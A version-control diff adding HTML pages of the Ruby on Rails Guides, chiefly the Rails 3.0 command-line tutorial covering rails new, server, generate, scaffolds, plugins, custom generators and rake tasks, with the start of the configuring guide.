+	<li>Start a development server</li>
+	<li>Mess with objects through an interactive shell</li>
+	<li>Profile and benchmark your new creation</li>
+</ul>
+<div class='note'><p>This tutorial assumes you have basic Rails knowledge from reading the <a href="getting_started.html">Getting Started with Rails Guide</a>.</p></div>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#command-line-basics">Command Line Basics</a><ul><li><a href="#rails-new"><tt>rails new</tt></a></li> <li><a href="#rails-server"><tt>rails server</tt></a></li> <li><a href="#rails-generate"><tt>rails generate</tt></a></li> <li><a href="#rails-console"><tt>rails console</tt></a></li> <li><a href="#rails-dbconsole"><tt>rails dbconsole</tt></a></li> <li><a href="#rails-plugin"><tt>rails plugin</tt></a></li> <li><a href="#runner"><tt>runner</tt></a></li> <li><a href="#destroy"><tt>destroy</tt></a></li> <li><a href="#about"><tt>about</tt></a></li></ul></li><li><a href="#the-rails-advanced-command-line">The Rails Advanced Command Line</a><ul><li><a href="#rails-with-databases-and-scm">Rails with Databases and <span class="caps">SCM</span></a></li> <li><a href="#server-with-different-backends"><tt>server</tt> with Different Backends</a></li> <li><a href="#the-rails-generation-generators">The Rails Generation: Generators</a></li> <li><a href="#rake-is-ruby-make">Rake is Ruby Make</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <div class='warning'><p>This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.</p></div>
+<h3 id="command-line-basics">1 Command Line Basics</h3>
+<p>There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you&#8217;ll probably use them are:</p>
+<ul>
+	<li><tt>rails console</tt></li>
+	<li><tt>rails server</tt></li>
+	<li><tt>rake</tt></li>
+	<li><tt>rails generate</tt></li>
+	<li><tt>rails dbconsole</tt></li>
+	<li><tt>rails new app_name</tt></li>
+</ul>
+<p>Let&#8217;s create a simple Rails application to step through each of these commands in context.</p>
+<h4 id="rails-new">1.1 <tt>rails new</tt></h4>
+<p>The first thing we&#8217;ll want to do is create a new Rails application by running the <tt>rails new</tt> command after installing Rails.</p>
+<div class='warning'><p>You know you need the rails gem installed by typing <tt>gem install rails</tt> first, if you don&#8217;t have this installed, follow the instructions in the <a href="/3_0_release_notes.html">Rails 3 Release Notes</a></p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails new commandsapp
+     create
+     create  README
+     create  .gitignore
+     create  Rakefile
+     create  config.ru
+     create  Gemfile
+     create  app
+     ...
+     create  tmp/cache
+     create  tmp/pids
+     create  vendor/plugins
+     create  vendor/plugins/.gitkeep
+</pre>
+</div>
+</notextile>
+
+<p>Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You&#8217;ve got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.</p>
+<div class='info'><p>This output will seem very familiar when we get to the <tt>generate</tt> command. Creepy foreshadowing!</p></div>
+<h4 id="rails-server">1.2 <tt>rails server</tt></h4>
+<p>Let&#8217;s try it! The <tt>rails server</tt> command launches a small web server named WEBrick which comes bundled with Ruby. You&#8217;ll use this any time you want to view your work through a web browser.</p>
+<div class='info'><p>WEBrick isn&#8217;t your only option for serving Rails. We&#8217;ll get to that in a later section.</p></div>
+<p>Without any prodding of any kind, <tt>rails server</tt> will run our new shiny Rails app:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ cd commandsapp
+$ rails server
+=&gt; Booting WEBrick
+=&gt; Rails 3.0.0 application starting in development on http://0.0.0.0:3000
+=&gt; Call with -d to detach
+=&gt; Ctrl-C to shutdown server
+[2010-04-18 03:20:33] INFO  WEBrick 1.3.1
+[2010-04-18 03:20:33] INFO  ruby 1.8.7 (2010-01-10) [x86_64-linux]
+[2010-04-18 03:20:33] INFO  WEBrick::HTTPServer#start: pid=26086 port=3000
+</pre>
+</div>
+</notextile>
+
+<p>With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open <a href="http://localhost:3000">http://localhost:3000</a>, you will see a basic rails app running.</p>
+<h4 id="rails-generate">1.3 <tt>rails generate</tt></h4>
+<p>The <tt>rails generate</tt> command uses templates to create a whole lot of things. You can always find out what&#8217;s available by running <tt>rails generate</tt> by itself. Let&#8217;s do that:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate
+Usage: rails generate generator [options] [args]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+  controller
+  generator
+  ...
+  ...
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>You can install more generators through generator gems, portions of plugins you&#8217;ll undoubtedly install, and you can even create your own!</p></div>
+<p>Using generators will save you a large amount of time by writing <strong>boilerplate code</strong>, code that is necessary for the app to work, but not necessary for you to spend time writing. That&#8217;s what we have computers for.</p>
+<p>Let&#8217;s make our own controller with the controller generator. But what command should we use? Let&#8217;s ask the generator:</p>
+<div class='info'><p>All Rails console utilities have help text. As with most *NIX utilities, you can try adding <tt>--help</tt> or <tt>-h</tt> to the end, for example <tt>rails server --help</tt>.</p></div>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate controller
+Usage: rails generate controller ControllerName [options]
+
+...
+...
+
+Example:
+    rails generate controller CreditCard open debit credit close
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+        Test:       test/functional/credit_card_controller_test.rb
+
+Modules Example:
+    rails generate controller 'admin/credit_card' suspend late_fee
+
+    Credit card admin controller with URLs /admin/credit_card/suspend.
+        Controller: app/controllers/admin/credit_card_controller.rb
+        Views:      app/views/admin/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/admin/credit_card_helper.rb
+        Test:       test/functional/admin/credit_card_controller_test.rb
+</pre>
+</div>
+</notextile>
+
+<p>The controller generator is expecting parameters in the form of <tt>generate controller ControllerName action1 action2</tt>. Let&#8217;s make a <tt>Greetings</tt> controller with an action of <strong>hello</strong>, which will say something nice to us.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate controller Greetings hello
+     create  app/controllers/greetings_controller.rb
+     invoke  erb
+     create    app/views/greetings
+     create    app/views/greetings/hello.html.erb
+      error  rspec [not found]
+     invoke  helper
+     create    app/helpers/greetings_helper.rb
+      error    rspec [not found]
+</pre>
+</div>
+</notextile>
+
+<p>What all did this generate?  It made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.</p>
+<p>Check out the controller and modify it a little (in <tt>app/controllers/greetings_controller.rb</tt>):ma</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class GreetingsController &lt; ApplicationController
+  def hello
+    @message = &quot;Hello, how are you today?&quot;
+  end
+
+end
+</pre>
+</div>
+</notextile>
+
+<p>Then the view, to display our message (in <tt>app/views/greetings/hello.html.erb</tt>):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;h1&gt;A Greeting for You!&lt;/h1&gt;
+&lt;p&gt;&lt;%= @message %&gt;&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Deal. Go check it out in your browser. Fire up your server. Remember? <tt>rails server</tt> at the root of your Rails application should do it.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails server
+=&gt; Booting WEBrick...
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Make sure that you do not have any &#8220;tilde backup&#8221; files in <tt>app/views/(controller)</tt>, or else WEBrick will <em>not</em> show the expected output. This seems to be a <strong>bug</strong> in Rails 2.3.0.</p></div>
+<p>The <span class="caps">URL</span> will be <a href="http://localhost:3000/greetings/hello">http://localhost:3000/greetings/hello</a>.</p>
+<div class='info'><p>With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a <span class="caps">URL</span> like http://(host)/(controller) will hit the <strong>index</strong> action of that controller.</p></div>
+<p>Rails comes with a generator for data models too:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate model
+Usage: rails generate model ModelName [field:type, field:type]
+
+...
+
+Examples:
+    rails generate model account
+
+            Model:      app/models/account.rb
+            Test:       test/unit/account_test.rb
+            Fixtures:   test/fixtures/accounts.yml
+            Migration:  db/migrate/XXX_add_accounts.rb
+
+    rails generate model post title:string body:text published:boolean
+
+        Creates a Post model with a string title, text body, and published flag.
+</pre>
+</div>
+</notextile>
+
+<p>But instead of generating a model directly (which we&#8217;ll be doing later), let&#8217;s set up a scaffold. A <strong>scaffold</strong> in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.</p>
+<p>We will set up a simple resource called &#8220;HighScore&#8221; that will keep track of our highest score on video games we play.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate scaffold HighScore game:string score:integer
+    exists  app/models/
+    exists  app/controllers/
+    exists  app/helpers/
+    create  app/views/high_scores
+    create  app/views/layouts/
+    exists  test/functional/
+    create  test/unit/
+    create  public/stylesheets/
+    create  app/views/high_scores/index.html.erb
+    create  app/views/high_scores/show.html.erb
+    create  app/views/high_scores/new.html.erb
+    create  app/views/high_scores/edit.html.erb
+    create  app/views/layouts/high_scores.html.erb
+    create  public/stylesheets/scaffold.css
+    create  app/controllers/high_scores_controller.rb
+    create  test/functional/high_scores_controller_test.rb
+    create  app/helpers/high_scores_helper.rb
+     route  map.resources :high_scores
+dependency  model
+    exists    app/models/
+    exists    test/unit/
+    create    test/fixtures/
+    create    app/models/high_score.rb
+    create    test/unit/high_score_test.rb
+    create    test/fixtures/high_scores.yml
+    exists    db/migrate
+    create    db/migrate/20081217071914_create_high_scores.rb
+</pre>
+</div>
+</notextile>
+
+<p>The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the <tt>high_scores</tt> table and fields), takes care of the route for the <strong>resource</strong>, and new tests for everything.</p>
+<p>The migration requires that we <strong>migrate</strong>, that is, run some Ruby code (living in that <tt>20100209025147_create_high_scores.rb</tt>) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the <tt>rake db:migrate</tt> command. We&#8217;ll talk more about Rake in-depth in a little while.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake db:migrate
+(in /home/foobar/commandsapp)
+==  CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+   -&gt; 0.0026s
+==  CreateHighScores: migrated (0.0028s) ======================================
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>Let&#8217;s talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We&#8217;ll make one in a moment.</p></div>
+<p>Let&#8217;s see the interface Rails created for us.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails server
+</pre>
+</div>
+</notextile>
+
+<p>Go to your browser and open <a href="http://localhost:3000/high_scores">http://localhost:3000/high_scores</a>, now we can create new high scores (55,160 on Space Invaders!)</p>
+<h4 id="rails-console">1.4 <tt>rails console</tt></h4>
+<p>The <tt>console</tt> command lets you interact with your Rails application from the command line. On the underside, <tt>rails console</tt> uses <span class="caps">IRB</span>, so if you&#8217;ve ever used it, you&#8217;ll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.</p>
+<h4 id="rails-dbconsole">1.5 <tt>rails dbconsole</tt></h4>
+<p><tt>rails dbconsole</tt> figures out which database you&#8217;re using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.</p>
+<h4 id="rails-plugin">1.6 <tt>rails plugin</tt></h4>
+<p>The <tt>rails plugin</tt> command simplifies plugin management; think a miniature version of the Gem utility. Let&#8217;s walk through installing a plugin. You can call the sub-command <tt>discover</tt>, which sifts through repositories looking for plugins, or call <tt>source</tt> to add a specific repository of plugins, or you can specify the plugin location directly.</p>
+<p>Let&#8217;s say you&#8217;re creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn&#8217;t it be great if we could override the behavior of a model to never actually take its record out of the database, but instead, just set a field?</p>
+<p>There is such a thing! The plugin we&#8217;re installing is called <tt>acts_as_paranoid</tt>, and it lets models implement a <tt>deleted_at</tt> column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out &#8220;deleted&#8221; things.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
++ ./CHANGELOG
++ ./MIT-LICENSE
+...
+...
+</pre>
+</div>
+</notextile>
+
+<h4 id="runner">1.7 <tt>runner</tt></h4>
+<p><tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails runner &quot;Model.long_running_method&quot;
+</pre>
+</div>
+</notextile>
+
+<h4 id="destroy">1.8 <tt>destroy</tt></h4>
+<p>Think of <tt>destroy</tt> as the opposite of <tt>generate</tt>. It&#8217;ll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate model Oops
+      exists  app/models/
+      exists  test/unit/
+      exists  test/fixtures/
+      create  app/models/oops.rb
+      create  test/unit/oops_test.rb
+      create  test/fixtures/oops.yml
+      exists  db/migrate
+      create  db/migrate/20081221040817_create_oops.rb
+$ rails destroy model Oops
+    notempty  db/migrate
+    notempty  db
+          rm  db/migrate/20081221040817_create_oops.rb
+          rm  test/fixtures/oops.yml
+          rm  test/unit/oops_test.rb
+          rm  app/models/oops.rb
+    notempty  test/fixtures
+    notempty  test
+    notempty  test/unit
+    notempty  test
+    notempty  app/models
+    notempty  app
+</pre>
+</div>
+</notextile>
+
+<h4 id="about">1.9 <tt>about</tt></h4>
+<p>Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application&#8217;s folder, the current Rails environment name, your app&#8217;s database adapter, and schema version! <tt>about</tt> is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake about
+About your application's environment
+Ruby version              1.8.7 (x86_64-linux)
+RubyGems version          1.3.6
+Rack version              1.1
+Rails version             3.0.0
+Active Record version     3.0.0
+Action Pack version       3.0.0
+Active Resource version   3.0.0
+Action Mailer version     3.0.0
+Active Support version    3.0.0
+Middleware                ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::RemoteIp, Rack::Sendfile, ActionDispatch::Callbacks, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::MethodOverride, ActionDispatch::Head
+Application root          /home/foobar/commandsapp
+Environment               development
+</pre>
+</div>
+</notextile>
+
+<h3 id="the-rails-advanced-command-line">2 The Rails Advanced Command Line</h3>
+<p>The more advanced uses of the command line are focused around finding useful (even surprising at times) options in the utilities, and fitting utilities to your needs and specific work flow. Listed here are some tricks up Rails&#8217; sleeve.</p>
+<h4 id="rails-with-databases-and-scm">2.1 Rails with Databases and <span class="caps">SCM</span></h4>
+<p>When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.</p>
+<p>Let&#8217;s see what a <tt>--git</tt> option and a <tt>--database=postgresql</tt> option will do for us:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README
+add 'README'
+      create  app/controllers/application_controller_.rb
+add 'app/controllers/application_controller_.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+</pre>
+</div>
+</notextile>
+
+<p>We had to create the <strong>gitapp</strong> directory and initialize an empty git repository before Rails would add files it created to our repository. Let&#8217;s see what it put in our database configuration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ cat config/database.yml
+# PostgreSQL. Versions 7.4 and 8.x are supported.
+#
+# Install the ruby-postgres driver:
+#   gem install ruby-postgres
+# On Mac OS X:
+#   gem install ruby-postgres -- --include=/usr/local/pgsql
+# On Windows:
+#   gem install ruby-postgres
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+</pre>
+</div>
+</notextile>
+
+<p>It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. The only catch with using the <span class="caps">SCM</span> options is that you have to make your application&#8217;s directory first, then initialize your <span class="caps">SCM</span>, then you can run the <tt>rails new</tt> command to generate the basis of your app.</p>
+<h4 id="server-with-different-backends">2.2 <tt>server</tt> with Different Backends</h4>
+<p>Many people have created a large number different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).</p>
+<div class='note'><p>For more details on the Rack integration, see <a href="rails_on_rack.html">Rails on Rack</a>.</p></div>
+<p>To use a different server, just install its gem, then use its name for the first parameter to <tt>rails server</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ sudo gem install mongrel
+Building native extensions.  This could take a while...
+Building native extensions.  This could take a while...
+Successfully installed gem_plugin-0.2.3
+Successfully installed fastthread-1.0.1
+Successfully installed cgi_multipart_eof_fix-2.5.0
+Successfully installed mongrel-1.1.5
+...
+...
+Installing RDoc documentation for mongrel-1.1.5...
+$ rails server mongrel
+=&gt; Booting Mongrel (use 'rails server webrick' to force WEBrick)
+=&gt; Rails 3.0.0 application starting on http://0.0.0.0:3000
+...
+</pre>
+</div>
+</notextile>
+
+<h4 id="the-rails-generation-generators">2.3 The Rails Generation: Generators</h4>
+<div class='info'><p>For a good rundown on generators, see <a href="http://wiki.rubyonrails.org/rails/pages/UnderstandingGenerators">Understanding Generators</a>. A lot of its material is presented here.</p></div>
+<p>Generators are code that generates code. Let&#8217;s experiment by building one. Our generator will generate a text file.</p>
+<p>The Rails generator by default looks in these places for available generators, where Rails.root is the root of your Rails application, like /home/foobar/commandsapp:</p>
+<ul>
+	<li>Rails.root/lib/generators</li>
+	<li>Rails.root/vendor/generators</li>
+	<li>Inside any plugin with a directory like &#8220;generators&#8221; or &#8220;rails_generators&#8221;</li>
+	<li>~/.rails/generators</li>
+	<li>Inside any Gem you have installed with a name ending in &#8220;_generator&#8221;</li>
+	<li>Inside <strong>any</strong> Gem installed with a &#8220;rails_generators&#8221; path, and a file ending in &#8220;_generator.rb&#8221;</li>
+	<li>Finally, the builtin Rails generators (controller, model, mailer, etc.)</li>
+</ul>
+<p>Let&#8217;s try the fourth option (in our home directory), which will be easy to clean up later:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ mkdir -p ~/.rails/generators/tutorial_test/templates
+$ touch ~/.rails/generators/tutorial_test/templates/tutorial.erb
+$ touch ~/.rails/generators/tutorial_test/tutorial_test_generator.rb
+</pre>
+</div>
+</notextile>
+
+<p>We&#8217;ll fill <tt>tutorial_test_generator.rb</tt> out with:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class TutorialTestGenerator &lt; Rails::Generator::Base
+  def initialize(*runtime_args)
+    super(*runtime_args)
+    @tut_args = runtime_args
+  end
+
+  def manifest
+    record do |m|
+      m.directory &quot;public&quot;
+      m.template &quot;tutorial.erb&quot;, File.join(&quot;public&quot;, &quot;tutorial.txt&quot;),
+        :assigns =&gt; { :args =&gt; @tut_args }
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>We take whatever args are supplied, save them to an instance variable, and literally copying from the Rails source, implement a <tt>manifest</tt> method, which calls <tt>record</tt> with a block, and we:</p>
+<ul>
+	<li>Check there&#8217;s a <strong>public</strong> directory. You bet there is.</li>
+	<li>Run the ERb template called &#8220;tutorial.erb&#8221;.</li>
+	<li>Save it into &#8220;Rails.root/public/tutorial.txt&#8221;.</li>
+	<li>Pass in the arguments we saved through the <tt>:assign</tt> parameter.</li>
+</ul>
+<p>Next we&#8217;ll build the template:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ cat ~/.rails/generators/tutorial_test/templates/tutorial.erb
+I'm a template!
+
+I got assigned some args:
+&lt;%= require 'pp'; PP.pp(args, &quot;&quot;) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Then we&#8217;ll make sure it got included in the list of available generators:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate
+...
+...
+Installed Generators
+  User: tutorial_test
+</pre>
+</div>
+</notextile>
+
+<p><span class="caps">SWEET</span>! Now let&#8217;s generate some text, yeah!</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate tutorial_test arg1 arg2 arg3
+      exists  public
+      create  public/tutorial.txt
+</pre>
+</div>
+</notextile>
+
+<p>And the result:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ cat public/tutorial.txt
+I'm a template!
+
+I got assigned some args:
+[[&quot;arg1&quot;, &quot;arg2&quot;, &quot;arg3&quot;],
+ {:collision=&gt;:ask,
+  :quiet=&gt;false,
+  :generator=&gt;&quot;tutorial_test&quot;,
+  :command=&gt;:create}]
+</pre>
+</div>
+</notextile>
+
+<p>Tada!</p>
+<h4 id="rake-is-ruby-make">2.4 Rake is Ruby Make</h4>
+<p>Rake is a standalone Ruby utility that replaces the Unix utility &#8216;make&#8217;, and uses a &#8216;Rakefile&#8217; and <tt>.rake</tt> files to build up a list of tasks. In Rails, Rake is used for common administration tasks, especially sophisticated ones that build off of each other.</p>
+<p>You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing <tt>rake --tasks</tt>. Each task has a description, and should help you find the thing you need.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rake --tasks
+(in /home/foobar/commandsapp)
+rake db:abort_if_pending_migrations       # Raises an error if there are pending migrations
+rake db:charset                           # Retrieves the charset for the current environment's database
+rake db:collation                         # Retrieves the collation for the current environment's database
+rake db:create                            # Create the database defined in config/database.yml for the current Rails.env
+...
+...
+rake tmp:pids:clear                       # Clears all files in tmp/pids
+rake tmp:sessions:clear                   # Clears all files in tmp/sessions
+rake tmp:sockets:clear                    # Clears all files in tmp/sockets
+</pre>
+</div>
+</notextile>
+
+<p>Let&#8217;s take a look at some of these 80 or so rake tasks.</p>
+<h5 id="db-database">2.4.1 <tt>db:</tt> Database</h5>
+<p>The most common tasks of the <tt>db:</tt> Rake namespace are <tt>migrate</tt> and <tt>create</tt>, and it will pay off to try out all of the migration rake tasks (<tt>up</tt>, <tt>down</tt>, <tt>redo</tt>, <tt>reset</tt>). <tt>rake db:version</tt> is useful when troubleshooting, telling you the current version of the database.</p>
+<h5 id="doc-documentation">2.4.2 <tt>doc:</tt> Documentation</h5>
+<p>If you want to strip out or rebuild any of the Rails documentation (including this guide!), the <tt>doc:</tt> namespace has the tools. Stripping documentation is mainly useful for slimming your codebase, like if you&#8217;re writing a Rails application for an embedded platform.</p>
+<h5 id="gems-ruby-gems">2.4.3 <tt>gems:</tt> Ruby gems</h5>
+<p>You can specify which gems your application uses, and <tt>rake gems:install</tt> will install them for you. Look at your environment.rb to learn how with the <strong>config.gem</strong> directive.</p>
+<div class='note'><p><tt>gems:unpack</tt> will unpack, that is internalize your application&#8217;s Gem dependencies by copying the Gem code into your vendor/gems directory. By doing this you increase your codebase size, but simplify installation on new hosts by eliminating the need to run <tt>rake gems:install</tt>, or finding and installing the gems your application uses.</p></div>
+<h5 id="notes-code-note-enumeration">2.4.4 <tt>notes:</tt> Code note enumeration</h5>
+<p>These tasks will search through your code for commented lines beginning with &#8220;<span class="caps">FIXME</span>&#8221;, &#8220;<span class="caps">OPTIMIZE</span>&#8221;, &#8220;<span class="caps">TODO</span>&#8221;, or any custom annotation (like <span class="caps">XXX</span>) and show you them.</p>
+<h5 id="rails-rails-specific-tasks">2.4.5 <tt>rails:</tt> Rails-specific tasks</h5>
+<p>In addition to the <tt>gems:unpack</tt> task above, you can also unpack the Rails backend specific gems into vendor/rails by calling <tt>rake rails:freeze:gems</tt>, to unpack the version of Rails you are currently using, or <tt>rake rails:freeze:edge</tt> to unpack the most recent (cutting, bleeding edge) version.</p>
+<p>When you have frozen the Rails gems, Rails will prefer to use the code in vendor/rails instead of the system Rails gems. You can &#8220;thaw&#8221; by running <tt>rake rails:unfreeze</tt>.</p>
+<p>After upgrading Rails, it is useful to run <tt>rails:update</tt>, which will update your config and scripts directories, and upgrade your Rails-specific javascript (like Scriptaculous).</p>
+<h5 id="test-rails-tests">2.4.6 <tt>test:</tt> Rails tests</h5>
+<div class='info'><p>A good description of unit testing in Rails is given in <a href="testing.html">A Guide to Testing Rails Applications</a></p></div>
+<p>Rails comes with a test suite called Test::Unit. It is through the use of tests that Rails itself is so stable, and the slew of people working on Rails can prove that everything works as it should.</p>
+<p>The <tt>test:</tt> namespace helps in running the different tests you will (hopefully!) write.</p>
+<h5 id="time-timezones">2.4.7 <tt>time:</tt> Timezones</h5>
+<p>You can list all the timezones Rails knows about with <tt>rake time:zones:all</tt>, which is useful just in day-to-day life.</p>
+<h5 id="tmp-temporary-files">2.4.8 <tt>tmp:</tt> Temporary files</h5>
+<p>The tmp directory is, like in the *nix /tmp directory, the holding place for temporary files like sessions (if you&#8217;re using a file store for files), process id files, and cached actions. The <tt>tmp:</tt> namespace tasks will help you clear them if you need to if they&#8217;ve become overgrown, or create them in case of an <tt>rm -rf *</tt> gone awry.</p>
+<h5 id="miscellaneous-tasks">2.4.9 Miscellaneous Tasks</h5>
+<tt>rake stats</tt> is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
+<tt>rake secret</tt> will give you a psuedo-random key to use for your session secret.
+<tt>rake routes</tt> will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you&#8217;re trying to get familiar with.
+<h3 id="changelog">3 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/29">Lighthouse ticket</a></p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/configuring.html
@@ -0,0 +1,479 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Configuring Rails Applications</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
